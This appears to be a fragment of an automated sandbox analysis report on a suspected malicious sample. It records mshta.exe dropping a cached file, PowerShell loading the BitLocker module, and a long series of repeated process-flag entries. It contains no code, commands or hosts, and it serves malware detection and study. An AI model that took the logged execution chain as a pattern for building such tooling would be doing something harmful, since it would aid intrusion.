Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
